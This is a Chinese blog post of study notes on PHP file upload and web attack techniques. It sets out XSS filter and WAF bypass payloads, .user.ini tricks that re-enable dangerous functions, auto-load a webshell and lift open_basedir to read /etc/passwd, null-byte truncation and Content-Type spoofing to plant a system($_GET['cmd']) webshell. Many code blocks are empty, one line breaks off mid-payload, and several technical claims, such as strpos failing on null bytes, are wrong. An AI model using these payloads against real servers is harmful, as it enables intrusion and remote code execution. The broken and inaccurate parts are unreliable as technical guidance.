文件上传
创建一个文件上传表单
示例
1 | <html> |
- 标签的 enctype 属性规定了在提交表单时要使用哪种内容类型。在表单需要二进制数据时,比如文件内容,请使用 “multipart/form-data“。
- 标签的 type=”file” 属性规定了应该把输入作为文件来处理。举例来说,当在浏览器中预览时,会看到输入框旁边有一个浏览按钮。
创建上传脚本
示例
1 |
|
通过使用 PHP 的全局数组 $_FILES,你可以从客户计算机向远程服务器上传文件。
第一个参数是表单的 input name,第二个下标可以是 “name”、”type”、”size”、”tmp_name” 或 “error”。如下所示:
- $_FILES[“file”][“name”] - 上传文件的名称
- $_FILES[“file”][“type”] - 上传文件的类型
- $_FILES[“file”][“size”] - 上传文件的大小,以字节计
- $_FILES[“file”][“tmp_name”] - 存储在服务器的文件的临时副本的名称
- $_FILES[“file”][“error”] - 由文件上传导致的错误代码
上传限制
如只能上传 .gif、.jpeg、.jpg、.png 文件,文件大小必须小于 200 kB:
1 |
|
保存被上传的文件
示例在服务器的 PHP 临时文件夹中创建了一个被上传文件的临时副本。
这个临时的副本文件会在脚本结束时消失。要保存被上传的文件,我们需要把它拷贝到另外的位置:
1 |
|
eval用法
eval()
的用法:将字符串作为 PHP 代码执行
在 PHP 中,eval()
是一个内置函数,可以执行字符串形式的 PHP 代码。例如:
1 |
|
上面的代码等价于:
1 |
|
eval()
会解析并执行传入的字符串,但它不能执行完整的 PHP 代码文件,即不能包含 <?php ?>
标签。
常见问题
1. 语句末尾必须有 ;
eval()
传入的字符串 必须是完整的 PHP 语句,末尾必须有 ;
,否则会报错:
1 |
|
正确写法:
1 |
|
2. 单引号 ''
与 双引号 ""
转义问题
eval()
传入的字符串本身就是代码,因此如果代码中包含引号,可能需要 正确转义:
示例 1:使用双引号包裹代码字符串
1 |
|
示例 2:使用单引号包裹代码字符串
1 |
|
示例 3:当代码字符串和内部字符串相同时,必须转义
1 |
|
示例 4:避免转义问题,可以用 heredoc
语法
1 |
|
这样就不需要手动转义引号了。
3. 变量注入
如果 eval()
处理的是用户输入,可能会导致 代码执行漏洞:
1 |
|
如果 eval()
处理不受控的用户输入,攻击者可能执行任意 PHP 代码,造成严重的 远程代码执行(RCE) 漏洞。因此,在安全开发中 **尽量避免使用 eval()
**。
前端的过滤绕过方法
1. 绕过 JavaScript 过滤
前端 JavaScript 过滤并不可靠,因为攻击者可以:
- 禁用 JavaScript(使用浏览器开发者工具)
- 修改 HTML 代码(删除
maxlength
限制) - 拦截请求并修改数据(使用 Burp Suite、Postman)
- F12 控制台直接修改表单数据
- 使用
curl
、Python 发送数据
示例:表单字符限制
1 | <input type="text" name="username" maxlength="10" oninput="this.value = this.value.replace(/[^a-zA-Z0-9]/g, '')"> |
绕过方法:
开发者工具 (F12) 直接修改
maxlength
属性拦截请求并手动修改数据
使用
curl
或Burp Suite
直接提交超长数据1
curl -X POST "http://example.com/login" -d "username=aaaaaaaaaaaaaaaaaaaa"
2. 绕过 HTML 过滤
(1)禁用 JavaScript
如果前端用 JavaScript 进行检查,可以直接 禁用 JavaScript:
在 Chrome 地址栏输入:
1
chrome://settings/content/javascript
关闭 JavaScript,然后输入任意内容提交。
(2)修改 HTML 代码
如果前端的表单有 maxlength
或 pattern
限制:
1 | <input type="text" name="email" maxlength="10" pattern="^[a-zA-Z0-9]+$"> |
攻击者可以 手动修改 HTML 代码:
1 | <input type="text" name="email" maxlength="1000"> |
或者在浏览器 F12 开发者工具 直接修改 <input>
标签的属性。
3. 绕过 JavaScript 关键字替换
一些网站可能会在前端用 JavaScript 过滤敏感词,如 script
、alert
:
1 | input = input.replace(/script/gi, ""); |
绕过方法:
- 大小写混淆:
ScRiPt
- 使用 Unicode 编码:
script
- 分割字符串拼接:
s" + "cript"
- HTML 编码绕过:
<scr<script>ipt>alert(1)</scr<script>ipt>
示例:
1 | <svg/onload=eval(atob("YWxlcnQoMSk="))> |
解释:
atob("YWxlcnQoMSk=")
解码为alert(1)
4. 绕过前端 XSS 过滤
如果网站过滤了 <script>
标签,可以尝试:
- 事件触发(
onerror
、onclick
等) - SVG 标签(
<svg/onload=alert(1)>
) - JavaScript 协议(
javascript:alert(1)
)
示例:
1 | <img src="x" onerror="alert(1)"> |
5. 绕过 WAF(Web 应用防火墙)
有些 WAF 可能会拦截恶意输入,如:
1 | <script>alert(1)</script> |
可以使用 分割、编码、动态执行 等方式绕过:
1 | html复制编辑<ScRiPt>alert(1)</ScRiPt> |
6. 绕过 URL 过滤
有些网站会检测 URL 是否包含敏感参数,如:
1 | http://example.com/?input=<script>alert(1)</script> |
绕过方式:
- URL 编码:
%3Cscript%3Ealert(1)%3C/script%3E
- 双重编码:`%253Cscript%253Ealert(
.user.ini是做什么的
.user.ini
的作用
.user.ini
文件可以在当前目录及其子目录中修改 PHP 设置,比如:
- 修改
disable_functions
以启用危险函数 - 通过
auto_prepend_file
让 PHP 自动加载 Webshell - 修改
open_basedir
绕过目录访问限制
1. .user.ini
的基本用法
创建 .user.ini
文件,写入:
1 | disable_functions = |
这会清空 disable_functions
,恢复所有被禁用的 PHP 函数,比如 system()
、exec()
、shell_exec()
等,从而可以执行系统命令。
2. auto_prepend_file
(前置加载 Webshell)
可以利用 .user.ini
在每个 PHP 文件执行前自动加载一个 Webshell:
1 | auto_prepend_file = "shell.php" |
这样,当前目录下的所有 PHP 代码**都会自动执行 shell.php
**,即使 shell.php
没有被访问。
绕过 disable_functions
如果服务器禁用了 system()
,可以用 .user.ini
让 PHP 先加载一个重定义函数的文件:
1 | auto_prepend_file = "/var/www/html/bypass.php" |
然后在 bypass.php
中:
1 |
|
这样,即使 system()
被禁用,也可以用 shell_exec()
执行命令。
3. open_basedir
绕过目录限制
open_basedir
限制 PHP 只能访问特定目录,例如:
1 | open_basedir=/var/www/html/ |
但我们可以在 .user.ini
中覆盖这个限制:
1 | open_basedir= |
这样 PHP 代码可以访问服务器上任何目录,例如读取 /etc/passwd
:
1 | echo file_get_contents('/etc/passwd'); |
4. .user.ini
的生效规则
.user.ini
仅在 当前目录及其子目录 生效,不影响上级目录。- PHP 解析
.user.ini
每 5 分钟才会重新加载(由user_ini.cache_ttl
控制)。 - 只能修改
php.ini
允许PHP_INI_PERDIR
和PHP_INI_USER
级别的配置(不能修改PHP_INI_SYSTEM
级别的全局配置)。
可以使用 phpinfo()
查看 .user.ini
是否生效:
1 | phpinfo(); |
5. .user.ini
在安全中的利用
(1)Webshell 隐藏
攻击者上传 .user.ini
后,即使 Webshell(如 shell.php
)被删除,也可以自动加载其他后门:
1 | auto_prepend_file = "/var/www/html/hidden_shell.php" |
(2)绕过 disable_functions
如果 disable_functions
被锁定,我们可以上传 .user.ini
来清空它:
1 | disable_functions = |
(3)权限控制绕过
如果 open_basedir
限制了文件访问,可以用 .user.ini
清除它:
1 | open_basedir= |
00 截断(NULL 截断)漏洞
1. 00 截断的原理
在 C 语言中,字符串是 以 NULL (\x00
) 结尾 的,例如:
1 | char filename[] = "shell.php\x00.jpg"; |
对于 PHP 早期版本(≤ 5.3.3),部分文件函数(如 file_get_contents()
、include()
)会受到 C 语言底层 \x00
终止符影响,只读取 \x00
之前的内容。
2. 00 截断的利用
(1)绕过文件上传后缀名检查
某些服务器会限制 PHP 文件上传,只允许 .jpg
、.png
,但如果使用 \x00
截断,可能让 PHP 误认为文件是 .jpg
,而 include()
解析时仍然执行 PHP 代码。
服务器代码
1 | $filename = $_FILES['file']['name']; |
如果 PHP 版本 ≤ 5.3.3,可以尝试 **上传 shell.php\x00.jpg
**:
1 | Content-Disposition: form-data; name="file"; filename="shell.php\x00.jpg" |
- 服务器
move_uploaded_file()
看到的文件名是shell.php.jpg
- 但
include("uploads/shell.php\x00.jpg");
解析时 **PHP 只看到shell.php
**,导致执行恶意代码
✅ 适用 PHP 版本: ≤ 5.3.3
❌ PHP ≥ 5.3.4 及以上 修复了 \x00
影响 file_*
系列函数的问题。
(2)绕过 file_exists()
与 include()
如果代码用 file_exists()
进行文件检查:
1 | $file = $_GET['file']; |
✅ 利用 NULL 截断绕过检查
1 | http://example.com/index.php?file=shell%00 |
PHP 解析:
1 | include("shell\x00.php"); // 由于 NULL 截断,实际 include("shell") |
成功执行 shell.php
代码。
✅ 适用 PHP 版本: ≤ 5.3.3
❌ PHP ≥ 5.3.4 及以上 修复了 file_exists()
、include()
受 NULL 影响的问题。
(3)绕过 strpos()
关键字过滤
PHP 过滤 eval
关键词:
1 | $code = $_GET['code']; |
✅ NULL 截断绕过:
1 | http://example.com/index.php?code=eva%00l($_GET[a]) |
strpos("eva\x00l", "eval")
**返回false
**(因为 PHP 早期版本会忽略\x00
之后的内容)- 但
eval($code)
仍然执行eva\x00l($_GET[a])
,即eval($_GET[a]);
✅ 适用 PHP 版本: ≤ 5.3.3
❌ PHP ≥ 5.3.4 及以上 修复了 strpos()
受 NULL 影响的问题。
Content-Type的绕过
绕过方式
(1)伪造 Content-Type
如果服务器只允许上传图片:
1 | Content-Type: image/jpeg |
但实际上传 PHP Webshell:
1 | system($_GET['cmd']); |
可以使用 Burp Suite 修改请求:
1 | POST /upload.php |
如果服务器仅检查 Content-Type
,但不检查文件内容,PHP 代码仍然可以解析。
(2)使用双扩展名绕过
有些服务器可能允许 .jpg
文件上传但不允许 .php
,可以尝试:
1 | Content-Type: image/jpeg |
文件名:
1 | shell.php.jpg |
如果服务器使用 move_uploaded_file()
存储,并且 include()
解析 .jpg
文件:
1 | include("uploads/shell.php.jpg"); |
PHP 仍然会解析其中的代码。
(3)Content-Type
为空绕过
某些应用可能会严格匹配 Content-Type
,如果 Content-Type
为空,则使用默认处理方式:
1 | POST /upload.php |
有些服务器会将未知 Content-Type
作为 text/plain
处理,从而导致上传绕过。
(4)Content-Type
头部污染
有些应用可能依赖 $_SERVER['CONTENT_TYPE']
进行检查:
1 | if ($_SERVER['CONTENT_TYPE'] !== "image/jpeg") { |
可以尝试 使用多个 Content-Type
头部:
1 | POST /upload.php |
某些服务器会解析第一行,而 PHP 解析最后一行,导致绕过检查。
- 本文作者: 林姜
- 本文链接: http://example.com/2025/02/15/文件上传/